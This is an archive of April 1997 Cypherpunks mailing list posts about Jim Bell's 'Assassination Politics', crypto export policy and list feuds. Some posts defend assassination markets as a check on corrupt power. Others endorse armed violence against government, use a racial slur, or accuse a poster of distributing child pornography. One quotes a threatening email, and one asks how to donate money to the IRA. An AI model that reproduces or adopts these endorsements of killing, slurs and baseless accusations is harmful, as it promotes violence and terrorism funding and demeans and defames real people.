From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 7 Apr 1997 09:41:21 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Brokat Win
In-Reply-To: <1.5.4.32.19970407131325.008a1d4c@pop.pipeline.com>
Message-ID: <2mss5D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young <jya@pipeline.com> writes:

> NYP reports today on the raging success of Germany's
> Brokat Informationssysteme in selling strong crypto, 
> thanks to US export restrctions. C2'sStronghold is cited as
> well. Brokat is negotiating with NSA to sell its technology 


of course, the story is incomplete without the mention of the letter
I got from C2Net's lawyers, and other Sandy Sandfort stuff.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Mon, 7 Apr 1997 09:04:01 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Cuba and AP
Message-ID: <33491B06.FF6@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


If people want to see the effect of an AP society have a look at Cuba.
Under the Batista regime $50 was sufficient to have someone killed.
There was anarchy, the police were corrupt, the mafia ran most of the
few parts of the country that worked - even they found the lack of order
a problem.

The result was Fidel Castro. The Batista regime could neither reform nor
survive. Any society that was threatened by AP would likewise collapse.

It is important to distinguish liberty and libertines. The libertine
recognises no check on individual rights, even when they affect the
rights of others. The inevitable result of libertinage is
authoritarianism.


	Phill




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 7 Apr 1997 12:15:04 -0700 (PDT)
To: Hallam-Baker <cypherpunks@toad.com
Subject: Re: AP Revisited
Message-ID: <3.0.32.19970407121308.00733510@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:48 AM 4/7/97 -0400, Hallam-Baker wrote:
>I seem to recall that the War on Drugs was a Bush proposal originally.
>Dole supported it and as with the CDA I would not expect a single 
>member of congress to stand up against charges of "drug dealers friend".

The War on Drugs was first declared by President Nixon. It has been a
failure ever since.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 7 Apr 1997 09:35:57 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Bell case and the liability of information...
Message-ID: <v0302094caf6ed0a0cbdf@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


X-Sender: pswire@pop.service.ohio-state.edu
Mime-Version: 1.0
Date:         Mon, 7 Apr 1997 09:54:35 -0400
Reply-To:     Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender:       Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From:         Peter Swire <swire.1@OSU.EDU>
Subject:      Re: America Online and liability for dissemination of informatio
To:           CYBERIA-L@LISTSERV.AOL.COM

At 09:23 PM 4/6/97 -0700, Bob Stock wrote:

>Someone said:
>>>Look at it this way: what if this anonymous one had gone to his
>>>local library, went through the newspapers and collected
>>>classified ad forms.  Then sent them all in, publishing
>>>classifieds which said the same thing in 20 newspapers across the
>>>country.
>
>>the newspapers which published those ads would have
>>potential liability if they were negligent in their fact checking
>>before publishing them.
>
>Newspapers are legally required to check the facts of classified ads
>before publishing them in order to escape any potential libel
>liability?  You can't be serious.

        Sorry.  Check out the cases that Soldier of Fortune magazine lost
for failing to check its classified ads.  The cases involved "gun for hire"
classifieds, someone got shot, and the estate was permitted to sue the
magazine.

        The tort analysis used a Hand test, in which the cost of screening
the classified (on its face an invitation to commit a deadly crime) was
found to be less than the cost to society of allowing the magazine to run
such ads.

        The facts of SOF are very special, but they show at least one
scenario where courts have found liability for running a classified ad.

        Regards,

        Peter




Prof. Peter Swire
Ohio State University
College of Law
e-mail: swire.1@osu.edu
web: http://www.osu.edu/units/law/swire.htm (in early stages of construction)

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Charles Anthony" <canthony@info-nation.com>
Date: Mon, 7 Apr 1997 11:45:59 -0700 (PDT)
To: cypherpunks@toad.com
Subject: (Fwd) Re: AP Revisited
Message-ID: <199704071845.NAA16677@bitstream.net>
MIME-Version: 1.0
Content-Type: text/plain


------- Forwarded Message Follows -------

Date:          Mon, 07 Apr 1997 11:48:48 -0400
From:          Hallam-Baker <hallam@ai.mit.edu>
To:            Kent Crispin <kent@songbird.com>, cypherpunks@toad.com
Subject:       Re: AP Revisited


I think its quite wrong to see Clinton as someone who believes in 
the authoritarian position, the real problem is he cuts his cloth
according to the popular whim.


Think again. Clinton and his administration are rabid when it comes 
to cryopto policy and the expansion of the FBI and others ability to 
pry into the lives of innocent citizens.. The draft of the crypto 
legislation is a good example of how, when given an opportunity to 
act out of the general public's sight and grasp, he's in there 
seeking even more ridiculously easy ways to get into everybodies 
business. I mean the current draft requires only a govt request in 
order to obtain access to your email. NOT a court ordered/appproved 
warrant- They may as well ask to be allowed to open and read 
every letter and pkg at the post office too.(and if this draft 
becomes law they probably will)


All of these 'new' and neccessary' intrusions are Clinton 
proposals, not hold overs from some other admininstration. If he were 
opposed in principle he could certainly 'cut his cloth' along less 
authoratarian lines, following the lead of many of the 
administrations own committee reports that have come out against key 
escrow plans, but he will not budge on the issue. In fact, each time 
it is put back out there it gets worse.

Clinton's  ability to coopt left energy and appear to be less than he 
is is- earning appologistic comments like the one above- is  what is 
really frightening. When it comes to US citizens civil liberties, 
Clinton is more dangerous than Reagan and Bush put together and I 
wouldn't call either of them friends of the people.



Since it has been thrown around so much, remember that Hitler was a 
most powerful speaker, who  connected well with the masses, 
couching nazi policy in the terms that gave the people what they 
wanted to hear. They too thought he was a most sincere and earnest 
fellow, with only the good of the country at heart.


A 'Nixon' would never get away with this sort of proposal- but a 
telegenic, non-enhaling, sax playing, mcdonalds eating, aw shucks, 
(they lay it on thick you think?) well meaning bubba? 


--C


**********************************************************************
Charles Anthony
canthony@info-nation.com
http://www.info-nation.com

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rlpowell@calum.csclub.uwaterloo.ca (Robin Lee Powell)
Date: Mon, 7 Apr 1997 06:59:57 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Why Digital Video Disks are late to market
In-Reply-To: <199702202056.MAA22465@toad.com>
Message-ID: <RLPOWELL.97Apr7095949@calum>
MIME-Version: 1.0
Content-Type: text/plain


In article <199702202056.MAA22465@toad.com> Anonymous <nobody@replay.com> writes:

   Path: news.csclub.uwaterloo.ca!not-for-mail
   From: Anonymous <nobody@replay.com>
   Newsgroups: csc.lists.cypherpunks
   Date: 20 Feb 1997 17:14:06 -0500
   Organization: University of Waterloo Computer Science Club
   Lines: 7
   Sender: daemon@calum.csclub.uwaterloo.ca
   Approved: mail2news@csclub.uwaterloo.ca
   Distribution: csc
   NNTP-Posting-Host: calum.csclub.uwaterloo.ca
   Precedence: bulk
   Xref: news.csclub.uwaterloo.ca csc.lists.cypherpunks:32284

   > ... there apparently has been some speculation among the U.S. PC community
   > that Matsushita may be stonewalling on the software-licensing issue so that
   > it can establish its hardware-based decryption solution in the marketplace.

   The day it gets published in software is the day someone runs a
   disassembler on it.  That's all there is to it.


The day it gets produced in hardware is the day someone starts to
reverse-engineer it.  Harder, yes, but possible.


-Robin




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Mon, 7 Apr 1997 14:59:27 -0700 (PDT)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199704072109.OAA13107@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Embedded in Tim C[rook] May's babblings are preposterous lies, wild 
distortions, child pornography (both as graphic descriptions and in JPEG 
format), ethnic slurs, and racial epithets.

  \\\\\|/////
   \\\\|////
   < * | * >
   |   *   |
    \( . )/
     \___/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Mon, 7 Apr 1997 12:16:25 -0700 (PDT)
To: Secret Squirrel <nobody@squirrel.owl.de>
Subject: Re: Helping Prof. Jim Bell
In-Reply-To: <5i0smu$75o@life.ai.mit.edu>
Message-ID: <3349482F.237C@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Secret Squirrel wrote:
> 
> If the FBI story is not yet another hoax, I think that it is
> a good diea to call jimbell and maybe donate him some $$ for
> lawyers or something like that.

I'm not sure sending him money for lawyers would be most helpful.

I was thinking another type of profession entirely.


Until Jim actually gets charged for something I don't see that
freedom of speech is the issue. Jim appears to be in trouble
for reasons not associated with his AP rants. The AP manifesto
has made it worse and attracted the opinion of the press but it
does not appear to have caused his trouble, merely affected the 
way he was dealt with.

AP probably caused there to be 20 heavilly armed cops rather than
two unarmed ones. It probably meant that casual comments were
taken rather more seriously than otherwise. Bell was always much
more wacko off list than on.


	Phill




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 7 Apr 1997 16:25:01 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Cuba and AP
Message-ID: <199704072324.QAA11970@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Hallam-Baker, counting on cypherpunks readers to be unwitting
victims of ten second sound-byte mentality, wrote:
> 
> If people want to see the effect of an AP society have a look at Cuba.
> Under the Batista regime $50 was sufficient to have someone killed.
> There was anarchy, the police were corrupt, the mafia ran most of the
> few parts of the country that worked - even they found the lack of order
> a problem.
> 
> The result was Fidel Castro. The Batista regime could neither reform nor
> survive. Any society that was threatened by AP would likewise collapse.

  So Hallam-Baker recognizes the AP system as a valid way to bring
about the collapse of unpopular, corrupt dictatorships.

> It is important to distinguish liberty and libertines. The libertine
> recognises no check on individual rights, even when they affect the
> rights of others. The inevitable result of libertinage is
> authoritarianism.

  The result of men living together on the face of the earth leads to
the inevitable result of authoritarianism.
  Systems such as "Assassination Politics" can aide in fighting against
unbearable corruption of power by lowering the cost of assassination
and thus raising the cost of corruption.

  The stench in Cuba was so bad under the U.S. backed Batista regime
that Guerva and Castro were a breath of fresh air for the majority of 
Cuban people.
  Despite years of harassment, invasion, and economic attack on Cuba
by the shameless 'free' countries <yuk,yuk> of the world, Castro is 
still a better option for the Cuban people than other options.
  When this ceases to be the case, then another variation of the Cuban
AP system will arise (perhaps Bell's?), and we will see the rise of a
new Cuban government.

  Despite the grand support the IRS is receiving from the government-
owned members of the cypherpunks list, it can hardly be argued that the
U.S. government has a problem with "Assassination Politics," since they
have availed themselves of it in the past, but only with the power of
AP being in the hands of the citizens instead of their own ruling hands.

TruthMonger (#7)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 7 Apr 1997 16:24:56 -0700 (PDT)
To: Lucky Green <shamrock@netcom.com>
Subject: War on Thugs / was Re: AP Revisited
In-Reply-To: <3.0.32.19970407121308.00733510@netcom10.netcom.com>
Message-ID: <33497A5C.1A94@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote:
> 
 
> The War on Drugs was first declared by President Nixon. It has been a
> failure ever since.

  i.e. - The War on Drugs was declared by a traitorous criminal
who was guilty of far greater crimes than inhaling the smoke of
a plant put on earth by God, for use by mankind.
  Nixon's position of power shielded him from being punished for
his crimes against the nation, unlike happy hippies who serve 
hard jail time for their 'sins'.

  Perhaps Jim Bell's 'War on Thugs' via AP is only a furtherance
of the "Assassination of Political Careers" instituted by Deep
Throat and the Washington Post.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 7 Apr 1997 16:25:07 -0700 (PDT)
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: Helping Prof. Jim Bell
In-Reply-To: <5i0smu$75o@life.ai.mit.edu>
Message-ID: <33497CB9.3232@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Hallam-Baker wrote:
> Until Jim actually gets charged for something I don't see that
> freedom of speech is the issue.

>  The AP manifesto...merely affected the way he was dealt with.

  Hallam-Baker is apparently incapable of understanding his own
trail of logic.
  He tells us that freedom of speech is not the issue, and then
proceeds to tell us that Jim Bell was dealt with differently than
others for exercising his freedom of speech.
 
  Now perhaps he can explain to us how race issues are not involved
when cops beat the living crap out of niggers when arresting them
for traffic violations.
  ("Until the nigger in intensive care 'gets charged with something'
I don't see that race is an issue.")

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Mon, 7 Apr 1997 17:37:19 -0700 (PDT)
To: Toto <hallam@ai.mit.edu>
Subject: Re: Helping Prof. Jim Bell
In-Reply-To: <5i0smu$75o@life.ai.mit.edu>
Message-ID: <v03007801af6f4f6a3198@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:01 PM -0600 4/7/97, Toto wrote:

>  Hallam-Baker is apparently incapable of understanding his own
>trail of logic.
>  He tells us that freedom of speech is not the issue, and then
>proceeds to tell us that Jim Bell was dealt with differently than
>others for exercising his freedom of speech.

Look, we know Jim Bell the writer. (Some people have met him and know him
as Jim Bell the loon, according to their assessments here, but that's a
different, though possibly relevant, point.)

An error many are making here is to assume that Bell was searched because
of his "Bell the writer" personna. This is clearly incorrect. The search
warrants dealt with many issues, as have been detailed in several posts
here, and in the stuff Greg Broiles put up in scanned format.

Assuming that his writings here were the cause of the actions against him
is just plain incorrect. His writings may have affected the assessment of
"likelihood" and "intent," given the various other things, but how else
should it be? One's spoken or written words may indeed be protected by the
First, against prior restraint and censorship, but they can generally be
used, if available.

In my posts I've carefully avoided evaluating whether Bell will be found
guilty of any actual crime...I don't know the evidence, or the legal code,
well enough. I _have_ said that I don't find it _surprising" that the Feds
would think him a plausible threat, at least worthy of a search.

They may read his rants and ultimately decide his threats were not
plausible. They may decide the chances of conviction aren't good. Who
knows?

Bell himself said he was not surprised.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 7 Apr 1997 17:17:49 -0700 (PDT)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Wassenaar Arrangement now available
In-Reply-To: <3.0.1.32.19970405184302.008065a0@mail.io.com>
Message-ID: <33498603.AFC@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> In early March, I filed a FOIA request with the Arms Control & Disarmament
> Agency, a division of the Department of State, for a copy of the Wassenaar
> Arrangement, a multinational agreement which is intended to regulate and
> coordinate the regulation of military and "dual-use" items. (Cryptographic
> software and hardware is often considered a "dual-use" item.)
> 
> I received a copy of the Arrangement last week, and have converted it to
> HTML. It is available on the web at
> 
> <http://www.parrhesia.com/wassenaar/>, or
> <https://www.parrhesia.com/wassenaar/> for the security-conscious.
> 
> The document itself does not refer to cryptography or cryptographic
> software/hardware. The last page of the document - the "Munitions List" was
> blank; but the document was marked "released in full". I'm going to compare
> what I've got with the various pieces of the Arrangement which have been
> released through other sources to see if I need to make a supplemental
> request for more information.

  The disparity between various informational 'releases' of 
information surrounding the Wassenaar Agreement points to the
real intentions of those involved, which is to regulate the
availability to strong crypto not so much through legislation,
as through uncertainty surrounding legal issues which can result
in severe penalties to those who might chance to cross ill-defined
legal lines.
  In a previous post, I mentioned a law enforcement official who
responded to my question about one of the finer points of the law
with the reply, "I'm not paid to 'know' the law, I'm paid to
'enforce' it."
  i.e. No matter what action you perform, the interpretation that
the government uses to fuck you in the ass will take an opposite
position on the matter.

  I have seen back-to-back cases in the same courtroom, with the
same judge, where government prosecutors argued diametrically
opposed positions in order to convict the accused.
  The result? Two convictions.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 7 Apr 1997 16:50:31 -0700 (PDT)
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: Helping Prof. Jim Bell
In-Reply-To: <5i0smu$75o@life.ai.mit.edu>
Message-ID: <v03007804af6f310c7004@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


Although I don't disagree with Phill in general, I note from the IRS
agent's affidavit that the reason given for searching his house was they
thought he was gonna do the AP thing after all. So AP does appear to have
caused if not all his troubles, at least the ones from last week.

-Declan

At 3:17 PM -0400 4/7/97, Hallam-Baker wrote:
>
>Until Jim actually gets charged for something I don't see that
>freedom of speech is the issue. Jim appears to be in trouble
>for reasons not associated with his AP rants. The AP manifesto
>has made it worse and attracted the opinion of the press but it
>does not appear to have caused his trouble, merely affected the
>way he was dealt with.
>
>AP probably caused there to be 20 heavilly armed cops rather than
>two unarmed ones. It probably meant that casual comments were
>taken rather more seriously than otherwise. Bell was always much
>more wacko off list than on.
>
>
>	Phill



-------------------------
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 7 Apr 1997 19:02:25 -0700 (PDT)
To: Kent Crispin <kent@songbird.com>
Subject: Re: Feds reading this list, Jim Bell, and threats
In-Reply-To: <199704071645.JAA23089@crypt.hfinney.com>
Message-ID: <33499E33.59C8@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:
> 
> I think it is fairly clear that AP is a Chimera.  The problem with
> lurid fantasies like it, though, is that they give the press and
> politicians convenient targets.  In fact, a case could be made for
> considering Jim Bell as a NSA shill.  Certainly he is a perfect foil
> for a statist agenda.

  So, now Kent is volunteering to testify to the fact that Jim Bell is
an NSA shill. (and still seems ashamed of his .gov address)
  I am waiting for a post from Kent that is sufficiently lucid that it
can be replied to without drinking an extra bottle of Scotch to follow
his twisted trail of logic. 


-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 7 Apr 1997 19:02:37 -0700 (PDT)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Fan mail from Hallam-Baker...
In-Reply-To: <67eT5D75w165w@bwalk.dm.com>
Message-ID: <3349A104.25D4@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> 
> >Sender: hallam@etna.ai.mit.edu
> >From: Hallam-Baker <hallam@ai.mit.edu>
> >Subject: Re: I hope thr IRA nails Hallam-Baker...
> >
> >You are now in very serious trouble.
> >
> >I have contacted the FBI and other agencies. You will encounter
> >difficulty in travelling to certain foreign countries.
> >
> >You may have put your own life at risk. The IRA is not the only
> >terrorist group in Ireland, its opponents make a point of assasinating
> >anyone who openly supports IRA activities.

  The terrorist group Hallam-Baker is referring to is the
UK government.
  They refer to QEII as 'Ms. Big'.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 7 Apr 1997 17:00:55 -0700 (PDT)
To: cypherpunks@toad.com
Subject: New Paper by Ron Rivest
Message-ID: <v03020968af6f38a4f91e@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
To: "Micropay (E-mail)" <micropay@ai.mit.edu>
Subject: New Paper by Ron Rivest
Date: Mon, 7 Apr 1997 16:18:51 -0400
MIME-Version: 1.0
Sender: owner-micropay@ai.mit.edu
Precedence: bulk
Reply-To: micropay@ai.mit.edu


Ron Rivest has just added a new paper on Micropayments to his Web site:

Electronic Lottery Tickets as Micropayments (rump session talk given at the
Financial Cryptography '97 conference)
http://theory.lcs.mit.edu/~rivest/publications.html

Its in Postscript, perhaps when the HTML Math proposal finally appears...
(Three years and counting so far).

	Phill


Phillip M. Hallam-Baker
Visitng Scientist
MIT Laboratory for Artificial Intelligence.
hallam@ai.mit.edu
http://www.ai.mit.edu/people/hallam/hallam.html

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Mon, 7 Apr 1997 16:53:43 -0700 (PDT)
To: Vebis The Great Spamholio <dlv@bwalk.dm.com>
Subject: Re: Feds reading this list, Jim Bell, and threats
In-Reply-To: <RwqN5D2w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970407194901.28014F-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 4 Apr 1997, Vebis, The Great Spamholio wrote:

> Uh, huh huh, "I AM SPAMHOLIO", huh huh, huh huh, that was cool, huh huh
> huh huh, "I need spam for my UUCPio" huh huh, "Come out with your
> filters down" huh huh, huh huh.  Spam, spam, spam, spam...

Vebis you buttmunch, have you been eating magic mushrooms again?  You'd 
better hide before the men in the white coats take you away and lock you 
in a nice padded room... Huh huh, huh huh,.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 7 Apr 1997 17:31:43 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Cypherpunks FAQ
In-Reply-To: <v03007801af6ee1d27218@[207.167.93.63]>
Message-ID: <g4eT5D74w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:
> * First, calling for _others_ to write a FAQ, or to "collectively" write a
> FAQ, rarely works. (I'm not criticizing Paul, just noting historical truth.)
>
> * Second, many FAQs have been started, few have been finished.

An excellent FAQ from L.Deitweller was shot down by Timmy May and his
cronies precisely because Timmy was envious of LD's ability to do what
Timmy couldn't do.

<blah, blah, blah>

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 7 Apr 1997 17:31:59 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Fan mail from Hallam-Baker...
In-Reply-To: <334920D5.ABD@ai.mit.edu>
Message-ID: <67eT5D75w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


>Sender: hallam@etna.ai.mit.edu
>Message-Id: <334920D5.ABD@ai.mit.edu>
>Date: Mon, 07 Apr 1997 12:29:09 -0400
>From: Hallam-Baker <hallam@ai.mit.edu>
>X-Mailer: Mozilla 3.0 (X11; I; OSF1 V4.0 alpha)
>Mime-Version: 1.0
>To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
>Subject: Re: I hope thr IRA nails Hallam-Baker...
>References: <5i4971$iug@life.ai.mit.edu>
>Content-Type: text/plain; charset=us-ascii
>Content-Transfer-Encoding: 7bit
>
>You are now in very serious trouble.
>
>I have contacted the FBI and other agencies. You will encounter
>difficulty in travelling to certain foreign countries.
>
>You may have put your own life at risk. The IRA is not the only
>terrorist group in Ireland, its opponents make a point of assasinating
>anyone who openly supports IRA activities.
>
>	Phill.

Paul, or someone in U.K. -
I'd like to donate $1 to the IRA every time Hallam-Baker posts to
this mailing list.  Can someone please tell me a convenient way
to send them donations?  Thank you very much.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 7 Apr 1997 19:02:53 -0700 (PDT)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Is Cynthia H. Brown "pissing up a rope"? / was Re: From the "pissing up a rope" file...
In-Reply-To: <199704080058.UAA21322@homer.iosphere.net>
Message-ID: <3349A7E3.2D0F@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Cynthia H. Brown wrote: 
> On Fri, 4 Apr 1997, Robert Hettinga wrote:
> > I thought some people on the list might feel very strongly about this
> > issue and would like to cast their vote.
> > The NBC Interactive Question of the Week:
> > Should there be one international group that governs and controls web
> > content?
> 
> Results pasted in from http://www.nbceurope.com/
>                   85% said no...
>                   while 15% said yes.
> 
> Interesting that the "sheeple factor" was as high as 15%.  (Or was it
> higher? Did 20 cypherpunks submit "no" 100 times each?)
> At
> the very least they could have implemented a "have-you-voted-yet"
> cookie to weed out the technologically impaired who might want to
> vote twice.

  Is Cynthia H. Brown pissing up a rope?
                  Toto said yes, 85 times.
                  Cynthia said no, 15 times.

  Not that I'm a troublemaker...
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 7 Apr 1997 19:36:18 -0700 (PDT)
To: snow <snow@smoke.suba.com>
Subject: AP--the choice of Postal Workers everywhere
In-Reply-To: <199704080025.TAA03114@smoke.suba.com>
Message-ID: <3349AB27.4801@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
> Crispy Critters wrote:
> >  you are either born into that social contract, or you move
> > into it.  In either case the social contract that makes up the state
> > predates your involvement.  You are free to accept or reject the
> > terms of that social contract.  If you chose to reject them, then you
> > should leave -- since the individuals who composed that contract were
> > there before you, their rights take priority.
> 
>         BULLSHIT. I don't have a choice. I would like to leave, but
> everywhere is already claimed by fucking statist pricks. There is no
> place left where a person can go and be free of self important pricks
> who think that it is _their_ right to infringe on _my_ rights.

  Since the land thieves have everything locked up, the only option
is to stand and fight.
  Wise conquerers always leave the disenchanted a small, desolate
place they can go to lick their wounds. The current fascists idiots
in power don't have the sense to do that. The result is a civilization
that is falling apart because those who don't want to take it in the
ass have no option except to stick around and fight.

>         If the contract was written by people who no longer exist, and
> enforced from the top, by force then you _do_ have the right to change
> the system from without. Especially since (in the context of American,
> French, and several other "[un]social contracts") they were themselves
> brought about by force and violence, often with the support of less than
> a majority.

  And you can never ignore the 'majority of one'.
  If the government deems it their right to act as they will, as
a result of being heavily armed, then they complain in vain about
the individual deeming it their right to act as they will, as a
result of being heavily armed.
  What is good for the gander (government) is good for the
goose (postal worker).
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 7 Apr 1997 17:45:42 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Bot-generated insults
In-Reply-To: <Pine.SUN.3.91.970407195822.28014G-100000@beast.brainlink.com>
Message-ID: <uFgT5D77w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachelian <sunder@brainlink.com> writes:

> It figures you wouldn't know any other language than BASIC, and nadly
                                                                  ^^^??
> written basic at that.  I've seen better code written by chimpanzees.

If Ray "Arsen" Arachelian can work for Earthweb, LLP, as an "associate
network adiministrator", then I'm not surprised if they have chimpanzees
writing Java code as well.

I used to think that LISP is the best language for such apps, but wouldn't
debase it by writing a simulation of a dandruff-covered Armenian in it.

****************************************************************************

(DEF 'randomize '(LAMBDA ()
(SETQ RSEED (DTIME))
(SETQ RSEED (- RSEED (* 12345(/ RSEED 12345))))))


(DEF 'random '(LAMBDA (s)
   (SETQ RSEED (+ RSEED 911))
